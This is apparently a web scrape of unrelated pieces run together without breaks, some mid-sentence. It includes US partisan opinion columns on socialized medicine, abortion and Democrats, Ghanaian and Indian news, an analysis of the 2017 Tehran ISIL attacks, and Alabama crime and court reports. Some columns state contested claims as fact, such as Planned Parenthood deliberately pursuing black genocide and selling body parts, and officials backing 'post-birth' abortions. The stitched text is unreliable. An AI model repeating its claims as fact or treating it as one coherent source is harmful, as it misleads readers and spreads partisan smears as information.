Eventually, the inevitable need must arise for the much-derided concept of "death panels." With rationing, it is essential that decisions be made over how much care people are entitled to. Those who contribute the least to the state are also the ones who require the most expensive health care.

If you are chronically ill or in the last years of your life, will the government decide you are on the wrong side of a cost-benefit ratio? It appears that some officials in N.Y. and Va. are currently willing to consider "post-birth" abortions of unwanted babies. Is that not a "death panel" function?

A six-month-old Gallup survey showed that socialism was viewed favorably by 57% of Democrats and 16% of Republicans. That's enough of a majority to swing elections and affect the direction of the country. Apparently, the lessons of the failures of socialism and socialized medicine throughout the world have not been learned.

In 2009, under Hugo Chavez, the Venezuelan health care system was touted as a breakthrough in "participatory democracy." As of a year ago, February 2018, NPR reported:

The entire Venezuelan health care system is on the verge of collapse, says Francisco Valencia, head of the public health advocacy group Codevida. Some hospitals lack electricity, and more than 13,000 doctors have left Venezuela in the past four years in search of better opportunities. "They don't give food to the patients in the hospital," Valencia tells Here & Now's Peter O'Dowd. "They don't have the proper medical supplies to take care of the people who go to the emergency [room] like gloves, like every basic thing they need for an emergency."

It took only nine years for this socialized health care system to go from riches to rags. It could be credibly argued that it was the fault of the failing economy in Venezuela. But do we want to have our access to life-or-death medical treatment dependent on the relative health of the U.S. economy?

History has shown that giving up individual freedoms and ceding power to government is a fatally flawed idea. Sometimes the true motives of our political betters are revealed. In 2012, the Democratic National Convention released a video featuring the meme, "Government is the only thing we all belong to."

Thank you, no.

Andrew Thomas, http://darkangelpolitics.com.President Trump has been a strong friend of Israel and has moved the U.S. embassy to Jerusalem. Republican presidents have traditionally been pro-Israel. Barack Obama made a deal to create a nuclear Iran, a country that wants to exterminate the Jewish state. Yet , American Jews tend to favor Democrat candidates, with 71% of Jewish voters choosing Democrat candidates and only 25% choosing Republicans since 1968. Voting against their interests.

Its odd that large groups of people often take political stands seemingly against their best interests. In the age of Trump, these oddities have become readily apparent.

The LGBT community is a fellow progressive traveler with radical Islam apologists despite how gays are treated in some Muslim countries which are not tolerant of sexual and gender diversity compared to the U.S. and most western countries. Voting against their interests.

Then there is overwhelming black support for Democrats. According to Pew Research Center, blacks in 2016 voted for Hillary Clinton over Donald Trump by a 91-6 margin. This is despite Trump and Republican economic policies driving black employment to better than it ever has been per CNBC. Democrats, under Barack Obama, gave blacks high unemployment and lots of excuses, yet blacks continue to support Democrats. Voting against their interests.

Abortion, a core issue for Democrats, is another area where blacks are supporting a political party which is acting very much against the interests of blacks. Lets take a look at Planned Parenthood and abortion, specifically whether Democrats are advocating for the well-being and advancement of blacks, or instead, for their destruction.

Planned Parenthood began 1916 when Margaret Sanger opened Americas first birth control clinic in Brooklyn. Less well known is that Sanger was a racist and eugenicist who considered many Americans unworthy of life. And who might one of these unworthy groups be?

Her views of eugenics in the 1930s and 1940s led to compulsory sterilization laws in 30 U.S. states, ridding the population of what Sanger described as people she considered "feeble-minded, idiots and morons. She addressed a Ku Klux Klan rally in New Jersey in 1926, too. That she generated enthusiasm among some of Americas leading racists says something about the content and tone of her remarks.

Sanger wrote a letter in 1939 saying We do not want word to go out that we want to exterminate the Negro population. Given the popularity of Planned Parenthood among Democrats, and overwhelming support of the Democrat party among blacks, obviously word of this did not get out.

That was then, this is now. Modern day Democrats, descendants of the party of the KKK, have become more enlightened and tolerant. Or have they?



Hillary Clinton, in 2009, accepted Planned Parenthoods Margaret Sanger Award. She remarked, I admire Margaret Sanger enormously, her courage, her tenacity, her vision. Going further she said, I am really in awe of her, there are a lot of lessons we can learn from her life. Do those lessons include Sangers Negro Project, dedicated to the elimination of human waste? Yet by almost a 20-1 margin, blacks voted for Mrs. Clinton for president.

In 2013, President Obama awarded 16 Presidential Medals of Freedom to individuals who have made especially meritorious contributions to the security or national interests of the United States, to world peace, or to cultural or other significant public or private endeavors. One of the recipients was feminist Gloria Steinem, accepting the honor in hopes it would reflect the work of Margaret Sanger. Neither she nor President Obama explained which Sanger works were being celebrated. The Negro Project? Forced sterilization? Weeding out the unfit?

Lets not forget the late Democratic Senator Robert Byrd, who at one time was an Exalted Cyclops in the KKK, and who Hillary Clinton praised as her mentor. She is not alone in having racist mentors. Bill Clintons mentor was Democratic Senator J. William Fulbright who fought against school desegregation. Dont forget Democratic Senator Al Gore, Sr. who voted against the Civil Rights Act.

Last week, we learned that two Virginia Democrats, the governor and the attorney general, both wore blackface and one maybe posed for a photo in KKK robes. I wonder how blacks voted in the Virginia gubernatorial election? It was the Republican candidate, Ed Gillespie, who was accused of being a racist, with the media happily piling on.



Planned Parenthood and its founder once had their Negro Project. What about today? Is that project ongoing?

Where does Planned Parenthood locate their clinics? The primary consideration in making this determination is not poverty but the percentage of blacks in the area. Population control centers are disproportionately located in ZIP codes with higher percentages of blacks and/or Hispanics than the states overall percentage.

And who is getting abortions? Muffy from the upper middle-class suburbs? Though they make up less than 13% of the female population, black women have about 37% of the abortions, according to research on racial targeting and population control.

New York, which just passed legislation legalizing abortion up to the moment of birth, aborts more black babies than the number born alive. Margaret Sanger must be looking up at New York from wherever she is and smiling.

It certainly appears that Sangers prescriptions for ridding the U.S. population of undesirables is working. One might call it genocide, the deliberate killing of a large group of people bases on ethnicity or race. Yet those groups being targeted for elimination continue to support those advocating for the continuing genocide.

Planned Parenthood appears to be deliberately targeting particular ethnic minority groups for abortion, supported by the Democrat Party, funded in large part by the government. Might they also be funded by the sale of their products of abortion, from stem cells to body parts? And in turn Planned Parenthood contributes generously to Democrat politicians who make sure abortions are plentiful and common, especially among their minority group constituents.

Abortion, unlimited without restriction and on demand, has become Democrat dogma. Given how many black babies have been aborted since Roe v. Wade, the black population now would be double what it is if those babies were allowed to be born. Yet blacks overwhelming support the political party which advocates for their elimination, or at least strict population control.

Theories abound, from racial identity and social pressure to civil rights and belief that there is no alternative for blacks aside from the Democrat Party. But in the end, blacks support the political party that has done little for their socioeconomic prosperity and advocates for the abhorrent genocidal activities of Planned Parenthood which specifically targets blacks and other ethnic minority groups.

Brian C. Joondeph, MD, MPS, is a Denver-based physician and writer. Follow him on Facebook, LinkedIn and Twitter.4 Ways Democrats Want to Ruin Your Life

President Ronald Reagan once said, "Freedom is never more than one generation away from extinction. We didn't pass it to our children in the bloodstream. It must be fought for, protected, and handed on for them to do the same, or one day we will spend our sunset years telling our children and our children's children what it was once like in the United States where men were free." Perhaps now, more than at any other time recently, these words must be heeded. The foundation of American values and freedom is under assault. The attack is not from a foreign power, but from within. The Democrats, their media allies, and those who still wear the name "Never Trump" are attempting to fulfill President Barack Obama's dream and transform America. They seek to redefine what it means to be an American and recalibrate the fundamentals of the American dream.

It is readily seen in four different spheres. First, they want to take what's yours and give it away. Steve Levy writing for Fox News's blog notes, "U.S. Rep. Alexandria Ocasio-Cortez, D-N.Y., a self-described democratic socialist, claims that a 70 percent tax rate on multimillionaires will give us the funds needed to expand Medicare to every resident and supply free college." He also notes that Sens. Elizabeth Warren (D-Mass.) and Bernie Sanders (I-Vt.), who despise those who succeed in business, believe that soaking the rich is social justice. It's a vehicle to eradicate income inequality. They continue to hold these positions despite the evidence that "overtaxing high earners backfires and actually hurts the working class and middle class." Jack Torry, in the Dayton Daily News, wrote succinctly, "New York Mayor Bill [d]e Blasio, who has not ruled out running for president, said last month on CNN 'there's plenty of money in this country' for health coverage for everyone, but the money is 'just in the wrong hands.'" It's clear that part of the radical transformation plan of the Democrats, aided by a complicit media, is to give your money to other people. An FAQ on the Green New Deal championed by Representative Ocasio-Cortez, now deleted, even advocated for giving "economic security even to those 'unwilling' to work." Second, they want to eliminate any connection our nation has to Judeo-Christian values. Brian Flood, for Fox News, reported February 9, 2019, "CBS sitcom The Big Bang Theory snuck another anti-Trump message into the popular show's credits on Thursday night, taking aim at press secretary Sarah Sanders' appearance and Christian faith. 'God told me he hasn't spoken to Sarah Sanders since she was fourteen years old and praying for her skin to clear up. I have no reason to doubt Him,' an on-screen message during the show's closing credits said." This is the unfortunate norm for Ms. Sanders. Her faith has been consistently mocked. Amber Athey, in The Daily Caller, on September 18, 2018, reported, "The New Yorker profiled White House press secretary Sarah Sanders on Monday, and people are not happy with how the publication handled Sanders' Christian faith." In a tweet, The New Yorker pulled out a specific quote about the church Sanders attends and mocked her beliefs. "Sarah Huckabee Sanders attends a D.C. church that is an aliate of Hillsong, the global megachurch that teaches creationism and intelligent design. Sanders, when asked if she shared these views, said, 'I believe in the Bible,'" the magazine wrote. The attacks against the Christian faith are regular fare for the Left. Sarah Jones, in the liberal Intelligencer, after blasting Karen Pence for taking a job at Immanuel Christian School in Springfield, Va., a school that holds to traditional values with respect to marriage, writes, "Karen Pence's new job affirms the administration's hostility to the right of LGBT students at large. Criticism hardly seems absurd." Third, they want to divide Americans by race and culture. Identity politics is a big deal to the Left. Matt Viser and Sean Sullivan, in the Washington Post, on February 10, 2019, write, "Sen. Elizabeth Warren's presidential rollout has been upended by questions about why she called herself Native American decades ago. The governor and attorney general of Virginia are under fire for darkening their faces in a racist cultural appropriation that has rocked the state and placed their careers in limbo." The same article asserts, "While Republicans believe Democrats are going too far in their embrace of identity politics, many in the Democratic Party take pride in the fact that the current field of nearly a dozen presidential candidates includes only one heterosexual white male." Let's take a step back and look at the scene. The Democrats (the governor and attorney general in Va.) are guilty of racist acts in the past. Another Democrat senator attempted to align herself with American Indians for her own benefit. This from the party that accuses Republicans daily of racism. Furthermore, the Democrats, who give lip service to Dr. Martin Luther King, Jr., who once said, "I have a dream that my four little children will one day live in a nation where they will not be judged by the color of their skin, but by the content of their character," boast about their candidates' race, sex, and sexual orientation with little said about character. Finally, they seek to devalue human life in the name of personal freedom and choice. Alexandra DeSanctis wrote in The Atlantic on February 4, 2019, "Democratic state governments are working to loosen restrictions on abortion late in pregnancy, far past the stages at which fetuses can survive after birth. The controversy over this expansion of abortion rights presents an opportunity for the anti-abortion movement to make the point that every abortion  no matter when it is performed  ends a human life." In describing the New York law, DeSanctis wrote, "On the 46th anniversary of Roe v. Wade, New York Governor Andrew Cuomo signed legislation permitting all abortions until 24 weeks of pregnancy. After that point, the bill asks only that the provider make a 'reasonable and good-faith professional judgment' that 'there is an absence of fetal viability' or that abortion is 'necessary to protect the patient's life or health.' That last term, health, is left studiously undefined, a significant omission. It also removes abortion from the state's criminal code." The Left, Democrats and the media, has rallied around abortion rights, fearing that the Supreme Court may look again at the Roe v. Wade decision. Leftists have become the party of abortion. The sanctity and precious nature of human life is sacrificed on the altar of personal freedom. In these four ways, and probably several others, the Democrats and the media attempt to redefine America. The kind of country we pass on to future generations depends on what we do in these next two years. President Reagan's words have never been more appropriate.Welcome Guest! You Are Here:Mr Joseph Amoah, the Ghana Shippers Council Committee Chairman of the Ashanti Region, has applauded government for introducing the paperless system at the countrys port.



He said it has been an enormous help to relieve shippers of import duty hassles.



Mr Amoah said the current system which facilitated electronic payments, has minimized the drudgery of cumbersome bureaucracy - human interface and paper movements.



Better still, the cost-saving system has also reduced corruption at the port as well as enhanced faster and a more accurate duty payables, he said.



Mr Amoah said this in an interview with the Ghana News Agency during its annual get-together held over the weekend.



He said the new system allowed shippers to clear their goods in a matter of four hours unlike the old system, which took a week or more.

The Chairman said the systems proactive check and balance procedures has ensured well-coordinated periodic checks by officers and made it more formidable.



He called on relevant authorities and stakeholders, to intensify education on paperless transition.



The paperless system, he said, is an operating system in which all relevant information are captured on a database for easy access and tracking, thus reducing the use of paper significantly.

Source: GNA









Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority.

Featured VideoFounder of Glorious Wave Church International, Prophet Emmanuel Badu Kobi, has blamed President Nana Addo Dankwa Akufo-Addo for the collapse of gold dealership firm, Menzgold.



According to the Prophet, the President and his government appear to be in the business of destroying the businesses of Ghanaians and so crashed Menzgold boss, Nana Appiah Mensah popularly called NAM 1.



Prophet Badu Kobi strongly rebuked the Akufo-Addo in front of his congregation, stating categorically that he is the voice of the nation and so will not sit unconcerned whiles things get out of hand.



In an angry tone, the Prophet insisted that the government was wrong for going after NAM 1 because he created a business to benefit lots of Ghanaians, but due to President Akufo-Addo's "parochial political partisanship stand", his administration gleefully destroyed Menzgold.



They are destroying peoples businesses since they came into power by reason of political partisanship. And in my day, you dont spoil anybodys business. If they came for the nation to be better as they said, then they must change. Because most businesses are on their knees because of their parochial political partisanship stance, and in my day, I say no to them



Why is it that only few and themselves are enjoying while other businesses, theyre finding all means to crash it including NAM 1? Theyre wrong because people like NAM 1, they should have brought [him] his business under scrutiny, helped him, reviewed a whole lot of things and let him be moving on. It is because its a business and theyve done it to mostbusiness and I put it to them, they must stop that thing", he warned.



He further cautioned the President not to think he "owns Ghana" and that he should "go and learn about good governance".



In Ghana, Im the voice that must speak for the leaders to do what is right. And for international, I am the voice to tell what is about to happen and God perfects it for nations to sit up. Now for Ghana, some things are happening and Im the best person to tell them theyre wrong. And I use this medium to speak to the leader of this nation, Nana Akufo-Addo who is the President, that from today if they dont understand governance, they must go and learn...Ghana is not for them. It is not a Monarchy, he said.



Watch video below:





Source: Ameyaw Adu Gyamfi/Peacefmonline.com/Ghana









Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority.

Featured VideoThe June 7 terror attacks in Tehran, executed by the Islamic State of Iraq and the Levant (ISIL, also known as ISIS), were a major landmark in Irans history of dealing with terrorism. The last time Iran had witnessed an assault of this scope and significance in its capital city was in the early 1980s, when armed opponents of the Islamic Republic assassinated its key figures and sympathisers in an attempt to topple the nascent revolutionary regime.

Significantly, last weeks ISIL attacks targeted two chief symbolic components of what has come to be known as the Islamic Republic  Ayatollah Khomeinis mausoleum and the Iranian parliament building.

Iran has long been fighting against ISIL in Iraq and Syria. However, unlike many Western and Middle Eastern countries, Iran had not faced any ISIL attacks within its borders until the attack on Wednesday, and questions abound as to how and why such a security breach occurred now.

The assailants  who were all reportedly from Sunni minority groups and had been battle-hardened in Mosul and Raqqa  approached a public entrance of the parliament with limited security control while reportedly disguising themselves as hijab-clad women.

They entered the building after shooting the security guard, but did not manage to go into the Majlis floor, where MPs were holding a session, either because of miscalculation or the slain officers resistance. All four suspects targeting the parliament, and the two others who orchestrated a similar attack at the Khomeini shrine were killed. This outcome should not surprise us, particularly if we consider the over one hundred terrorist attempts thwarted by Iranian security forces in the past couple of years, according to Irans intelligence minister Mahmoud Alavi.

READ MORE: Tehran attack  Targeting Irans national symbols

So it is possible to say that the ISIL attack was not caused by a major operational failure by the security forces, but there were some bare facts that made Iran susceptible to such an attack.

There are aggrieved religious and ethnic minorities living in Irans border areas  particularly Kurds in the northwest, Arabs in the south and Baluchis in the southeast  who have long been discriminated against and neglected by the central government, making them amenable to militancy. The country needs an effective counterterrorism strategy that takes this reality into account in order to stop similar attacks from happening again.

Following the ISIL attack, the hardline opponents of Rouhani are expected to pursue a more aggressive approach to regional affairs and ramp up Iran's controversial presence and support for proxy groups in conflict theatres such as Syria, Iraq and Yemen.

Yet, the incident may have not transpired, not least at this particular moment, absent a number of external contributing factors. Less than a day before the attack, Saudi Foreign Minister Adel al-Jubeir declared in a meeting in Paris that Iran must be penalised for interfering in the region and espousing terrorist groups such as al-Qaeda. More importantly, the Saudi defence minister Mohammed bin Salman Al Saud had pointed out in an early May interview that Riyadh would try to take the fight inside Iran. Add to this the recent surge in border clashes in Irans northwestern and southeastern provinces  which have left a number of military and law enforcement officers dead  and one cannot help connecting the dots.

Indeed, Saudi Arabias newly found aggressiveness, first directed at Iran and more recently at Qatar, which is emboldened by its closer ties to the US under the hawkish Trump administration, has further destabilised the Middle East and galvanised terrorist elements into action.

Political Implications at home and abroad

Much as the June 7 terror attacks reinvigorated Iranians sense of patriotism and thus had a unifying impact on the state and society, they were also a blow to the newly re-elected government of moderate President Hassan Rouhani and his moderation project at home and engagement policy abroad.

Hours into the incident and while it was still under way, the Persian-speaking social media was flooded with hardliner posts scorning or otherwise bashing the administration over its soft approach to international relations and pursuit of detente and rapprochement with the outside world, particularly with Irans regional nemeses.

READ MORE: Iran accuses Saudi Arabia of Tehran attacks

Internally, the hardliner groups  who are still reeling from last months historic electoral defeat  will likely use this attack to strengthen their weakened political position and push for further securitisation of the domestic sphere. This so-called securitisation wave could include attempts by the mainly unelected parts of the state to curtail the governments plans to institutionalise citizenship rights and certain civil liberties and foster greater religious and political freedom in the country.

The hardliner groups strong reaction received an unmistakable stamp of approval from Ayatollah Khamenei shortly after the attack. In an address later on the day, the supreme leader railed against the Rouhani administration, encouraging his frustrated followers to act as figurative fire-at-will soldiers and ordering them to open fire at their own discretion, whenever they witness a malfunctioning at the central organs.

Similarly in the foreign policy sphere, following the ISIL attack the hardline opponents of Rouhani are expected to pursue a more aggressive approach to regional affairs and ramp up Irans controversial presence and support for proxy groups in conflict theatres such as Syria, Iraq and Yemen. Pertinently, in its official statement after the terror attack, the Islamic Revolution Guards Corps (IRGC) pointed the finger of blame at the United States and Saudi Arabia, vowing revenge against the attacks perpetrators and their backers.

Unless and until cooler heads prevail in the regional capitals, attacks like the one that targeted Tehran will continue to usher in an increasingly aggravating spiral of hostility and further destabilise the Middle East.

Maysam Behravesh is a PhD candidate in the Department of Political Science and an affiliated researcher in the Center for Middle Eastern Studies (CMES), at Lund University, Sweden.

The views expressed in this article are the authors own and do not necessarily reflect Al Jazeeras editorial policy.There are currently 1 users browsing this thread. (0 members and 1 guests)The RBI on Tuesday said it has imposed penalties on seven lenders, including Allahabad Bank, Bank of Maharashtra, HDFC and Kotak Mahindra Bank, for violation of various banking norms.

A penalty of Rs 1.5 crore has been imposed each on Allahabad Bank, Bank of Maharashtra and Indian Overseas Bank for non-compliance with various directions issued by RBI on monitoring of end-use of funds, exchange of information with other banks, classification and reporting of frauds, and on the restructuring of accounts.

Also Read: Government plans to sell 100% stake in Air India Air Transport Services Ltd

A penalty of Rs 1 crore has been imposed on Andhra Bank for similar violations.

The Reserve Bank further said Rs 20 lakh fine each on HDFC Bank, IDBI Bank and Kotak Mahindra Bank for non-compliance with various directions on Know Your Customer (KYC) norms and Anti-Money Laundering (AML) standards.

Penalties are based on deficiencies in regulatory compliance and "is not intended to pronounce" upon the validity of any transaction or agreement entered into by the banks with their customers, the central bank added.

Also Read: Defence sales between India-US at all time high: Pentagon

Also Read: GST Act violation: Madras HC dismisses advance bail pleasA suspect in the slaying of a 36-year-old man in Birminghams Roosevelt City community 10 days ago is now in custody.

Anthony Marcell Mosley, 48, was booked into the Jefferson County Jail Tuesday shortly before 9:30 a.m. He is charged with murder in the Feb. 2 shooting death of Christopher Lawson.

Birminghams West Precinct officers responded about 8:40 p.m. that Saturday to the 6100 block of Grove Avenue. Once on the scene, they found Lawson lying in a ditch next to his motorcycle. The motorcycle was still upright with the kickstand in place.

Lawson was pronounced dead on the scene. Birmingham police Sgt. Johnny Williams said Lawson was believed to have attended a party in the area. Neighbors reported hearing between five to 10 shots fired, and some said they dropped to the floor of their homes in fear. Dozens of onlookers  including Lawsons family - gathered at the scene.

Lawsons death hit the community hard. Many of his friends and family members took to social media within an hour of his death to mourn his loss. He was an auto mechanic and active in the Vikings motorcycle club.

Authorities have not disclosed a motive in the slaying, nor said what led them to identify Mosley as a suspect.

Mosley is being held in the Jefferson County Jail on $150,000 bond. Court records show he has a lengthy criminal history, including a robbery conviction when he was just 16.A 30-year-old east Alabama math teacher is behind bars, accused of having a sexual relationship with a 15-year-old student.

Wedowee police on Wednesday announced the arrest of David Brenton Burkhalter. The Ashland man surrendered to law enforcement officials and is being held in the Randolph County Jail on eight felony charges. His bond is set at $1 million.

The investigation began Feb. 6 when Wedowee police investigators responded to Randolph County High School on a report that Burkhalter, who teaches Algebra and Geometry, was involved with the female student.

The Wedowee Police Department, along with the Randolph County Sheriffs Department and Clay County Sheriffs Department, immediately initiated an investigation. Investigators determined the accusations were credible and that probable cause existed for an arrest, according to a press release from Wedowee police.

Investigators obtained the following charges against Burkhalter: two counts of second-degree rape; one count of second-degree sodomy; one count of enticing a child; two counts of electronic solicitation of a child for sex; and two counts of School Employee Sex Act with Student Less than 19 years of age.

According to charging documents, the alleged incidents of sex between the student and teacher took place at least in December 2018 and January 2019. Burkhalter is accused of having sexual intercourse and deviate sexual intercourse with the 15-year-old girl.

The criminal complaint states Burkhalter communicated with the girl via cell phone to arrange their meetings. On at least one occasion, records show, Burkhalter invited the girl into a vehicle for the purpose of sex.

Law enforcement is working alongside the Office of the District Attorney and the Randolph County School Board to ensure all pertinent steps are taken to ensure a thorough investigation and a successful prosecution of this matter, according to the police press release. Anyone who has any information regarding this investigation, please notify your local law enforcement agency. This investigation is open and ongoing.This is an opinion column.

Whoops. Just a little mistake. A little industrial oopsie.

Turns out Drummond Co., at its ABC Coke plant in Tarrant, which has been on the wrong side of the news a lot lately, underestimated how much benzene it was releasing into streams by  oh  a factor of 10. At least.

Oopsie.

The U.S. Environmental Protection Agency, along with the Justice Department and the Jefferson County Health Department, last week announced a settlement agreement with Drummond after a complaint was filed by the government and the health department. Its laid out in a consent decree that requires Drummond to pay $775,000 in civil penalties and fix the problems.

Which is a lot of money to most of us but boiled peanuts to them.

EPA and the health department  which in the past has bent over backward to give Drummond cover when it can -- claim Drummond underestimated how much benzene-containing waste water was open to the air. Drummond had reported amounts of total annual benzene at less than 1 megagram when it was actually more than 10 megagrams, according to the EPA. Thats a big deal because levels greater than 10 megagrams require the company to take corrective actions and clean it up.

But hey. Whats a little benzene between friends?

EPA and the health department also noted, based on the 2011 inspection at ABC Coke and examination of company records, a series of other shortcomings. Some equipment was not included in its leak detection and repair program, monitoring records were incomplete and deficient, open-ended lines were observed, and components were not being monitored at the appropriate leak definition or frequency.

There were some other problems with the companys program to locate and repair leaking valves, pumps and other equipment.

Drummond, under the consent decree, is required, among other things, to address all remaining waste water streams at the byproducts plant, according to the EPA.

You might remember that Drummond was at the center of the big ol Superfund Scandal last year, when a Drummond VP and a lawyer representing the company were convicted of bribing a state legislator to help oppose a proposed Superfund site in this very area.

The thing grew tentacles like something in a creek full of chemicals, and now a former state environmental commissioner and the former EPA region chief face their own charges. It was revealed in the bribery trial that they had also contracted with Drummond to oppose the Superfund cleanup.

Too bad this wont really make residents around the plant feel any better about their lives or their health or their prospects. Several appeared at a public hearing last fall to oppose Drummonds request for a new pollution permit, which is still under consideration.

I dont know if Im a walking zombie, a woman named Cathy Mason said then, summing up the sentiment of so many who have asked for help -- and been disappointed.

Residents showed up at the Alabama Department of Environmental Management meeting last year, but were turned away without answers. Theyve seen Alabamas top business groups side with polluters and dismiss their health concerns as paranoid or overblown. Theyve seen Alabamas politicians show more regard for convicted bribers than the people who live in north Birmingham and Tarrant.

So Drummond pays a little fine and agrees to do better. Great.

While these very real people are left to wonder and worry and wait, to expect the worst for themselves, and from all those health departments and environmental commissions and politicians and companies that failed them.

Oops Alabama. Were doing it again.

John Archibald, a Pulitzer Prize winner, is a columnist for Reckon by AL.com. His column appears in The Birmingham News, the Huntsville Times, the Mobile Register and AL.com. Write him at jarchibald@al.com.A 26-year-old Birmingham man has been charged in the shooting of two Metro PCS employees earlier this week.

Brandon Harris is charged with two counts of attempted murder and two counts of first-degree robbery. He is being transported to the Jefferson County Jail.

The robbery and shooting happened Monday at the business on Green Springs Avenue. Birmingham police and firefighters responded at 3 p.m. to the Metro PCS, just off Interstate 65 and Green Springs Highway. Once on the scene, they found two women had been shot.

One of the women is believed to have been shot three times -- in the ankle, thigh and left part of her torso -- and the other was shot twice, in the arm or wrist area. Though authorities initially said one victim had injuries that were life-threatening, her condition has improved and she is recovering.

A witness said a man walked across the parking lot of a nearby auto business and then entered Metro PCS. There was then a loud commotion, the witness said. "We heard something, and then everything happened,'' said the man, who didnt want to be identified. We didnt know if they were shooting or what.

One of the victims was found inside Metro PCS. The other victim ran outside where she met up with paramedics. Both were screaming. They were taken to UAB Hospitals Trauma Center.

Birmingham police spokesman Sgt. Johnny Williams said investigators learned the man  now identified as Harris - entered the store brandishing a gun and demanded money. As he made his demand, he shot one of the female employees.

The second female worker tried to run from the business but the suspect shot her at the door. He then returned to the register and grabbed an undisclosed amount of cash. Next, Williams said, he went to the rear of the business in search of more money.

7 Metro PCS

He fled on foot. Robbery and homicide detectives canvassed the area and tracking dogs were brought in to hunt the suspect.

About 5 p.m. tracking dogs picked up the suspects scent along University Boulevard near I-65. Officers then spotted the man who was wearing clothing that matched the description of the assailant. They chased him on foot along the interstate and he then crossed the roadway with the team of officers close behind.

He was taken into custody on the east side of the interstate and placed in a patrol car.A 20-year-old man has been found guilty of murder, after his first trial in 2018 ended in a mistrial.

Janorris Johnson, of Birmingham, was indicted on charges of intentional murder for the May 2017 shooting death of 34-year-old Joseph Smith. Johnsons first trial started in July 2018, but ended in a mistrial.

Last week, a jury found Johnson guilty on the same charge after a four-day trial. He will be sentenced April 11 by Jefferson County Circuit Judge Michael Streety.

Birmingham police North Precinct officers found Smith lying on the front porch of a home in the 3300 block of 15th Court North at approximately 8:46 p.m. on May 1, 2017. He was shot multiple times in several areas of his body, police said.

The indictment charging Johnson states he shot Smith to death with a pistol.

Sgt. Bryan Shelton said at the time of the shooting that the departments preliminary investigation showed Smith and others were at the home, gambling and drinking, when an altercation erupted. At some point during the altercation, Smith was shot.

Johnson was represented by Assistant Jefferson County Public Defenders Blair Shores, Brock Brett, and Tana Flaten. Deputy District Attorneys Julie McMakin and Dain Stewart prosecuted the case.

We were disappointed when the first trial ended in a mistrial. We hope that now the Smith family can finally have some closure regarding the death of their beloved son and brother," Stewart said.

Shores also made a statement. He said, Janorris entered a plea of not guilty, and respectfully disagrees with the jurys verdict. Janorris intends to file an appeal. A motion for new trial will be filed after the sentencing hearing."West Bengal chief minister Mamata Banerjee, after her 'Mahagathbandhan rally' in Kolkata, has arrived in New Delhi to join the protest rally against the BJP along with other opposition leaders. She is looking forward to forging a grand alliance to tackle the BJP in the 2019 general elections. Arvind Kejriwal, Chief Minister of the national capital, is hosting the rally.

Top opposition leaders from more than two dozen political parties have planned to take part in the Aam Aadmi Party (AAP) rally at Jantar Mantar today. Apart from Mamata Banerjee and Arvind Kejriwal, Andhra Pradesh's CM Chandrababu Naidu, former Prime Minister HD Deve Gowda, former Jammu and Kashmir Chief Minister Farooq Abdullah and Nationalist Congress Party chief Sharad Pawar will also be taking part at the rally.

Also Read: PSB loans worth Rs 7,277 crore under Mudra Yojana turned bad

Banerjee, before leaving for Delhi, had stated during the Kolkata rally that Modi's 'expiry date' is over.

AAP's Delhi convenor, Gopal Rai, said that all opposition leaders who attended Mamata Banerjee's United India rally in Kolkata were sent invitations for the protest rally. He added that Congress chief Rahul Gandhi had also been invited for the event.

Additionally, political leaders from the Rashtriya Janata Dal (RJD), the Samajwadi Party (SP), Rashtriya Lok Dal (RLD), Dravida Munnetra Kazhagam (DMK), other parties are also expected to address the anti-BJP rally.

On the other hand, it is still not confirmed that anyone from Congress will be attending the rally or not.

(Edited by Vivek Dubey)

Also Read: Defence sales between India-US at all time high: PentagonResearchers at The University of Alabamas criminology department are partnering with Alabama Department of Corrections for a four-year $1.9 million state-funded study of the process to assess risks to Alabamas women inmates.

ADOC has been analyzing inmates access to housing, mental health and substance abuse at Tutwiler Prison for the past three years to better serve their needs while incarcerated using the womens risks needs assessment program developed by the University of Cincinnati.

Dr. Jennifer Kenney, assistant professor in UAs department of criminology and criminal justice, said researchers from UA and one from Auburn University will work together to gather data related to the risk assessment to help the state allocate funds to specific programs to benefit inmates at Montgomery Womens Facility, Birmingham Community Based Facility and Tutwiler.

It will give the evidence needed to say women need more programs and women need different programs. Women have different needs and risks than men, Kenney said. Hopefully this will show the powers the be that women deserve their own programming.

Before the change to the women-focused assessment, ADOC used the same tools used for male inmates to assess female inmates. Those assessments didnt take into consideration past traumas specific to women.

The women-focused assessment directs inmates into programming designed to alleviate recidivism, such as parenting classes, adult relationships classes and cognitive behavior programs.

I know that Alabama has had a negative history when it comes to womens prisons, Kenney said, and I think theyre doing a lot of things on providing better resources for women.Alabama Sen. Richard Shelby earned rare praise today from President Donald Trump.

In a series of tweets on the border security deal reached by a bipartisan group of lawmakers, Trump described Shelby, chairman of the Senate Committee on Appropriations, as hard working. The tweet came after a meeting between the president and Shelby.

Was just presented the concept and parameters of the Border Security Deal by hard working Senator Richard Shelby. Looking over all aspects knowing that this will be hooked up with lots of money from other sources ....Will be getting almost $23 BILLION for Border Security. Regardless of Wall money, it is being built as we speak, the president tweeted.

....Will be getting almost $23 BILLION for Border Security. Regardless of Wall money, it is being built as we speak!  Donald J. Trump (@realDonaldTrump) February 12, 2019

The proposal includes nearly $1.4 billion for the border wall, far less than the $5.7 billion requested by the White House. The funding measure would cover spending through the end of the fiscal year on Sept. 30. It must be passed by Saturday to avoid another government shutdown.

The government underwent a partial shutdown for a record-long 35 days from December to January.

Shelby earlier said he believed with the latitude given us by Democrats, Trump would likely support the bill.A federal district judge has ruled parts of Alabamas sex offender registration and notification laws are unconstitutional under the First Amendment, court records show.

The order issued on Monday referenced a lawsuit filed in federal court in 2015 that claims Alabamas sex offender laws, known as the Alabama Sex Offender Registration and Community Notification Act are debilitating, overbroad and too vague to be followed completely.

U.S. District Judge Keith Watkins ruled part of Alabamas internet reporting requirements and branded identification requirements are unconstitutional.

The specific internet reporting requirements referenced include requirements for sex offenders to provide law enforcement with a list of any and all internet providers used and a list of any email addresses or instant message address or identifiers used, including any designations or monikers used for self-identification in internet communication or postings other than those used exclusively in a lawful commercial transaction. He also called the internet reporting requirements overbroad.

Watkins ruling also declared unconstitutional the states requirement for sex offenders to have a valid drivers license or other identification card that identifies the person as a sex offender.

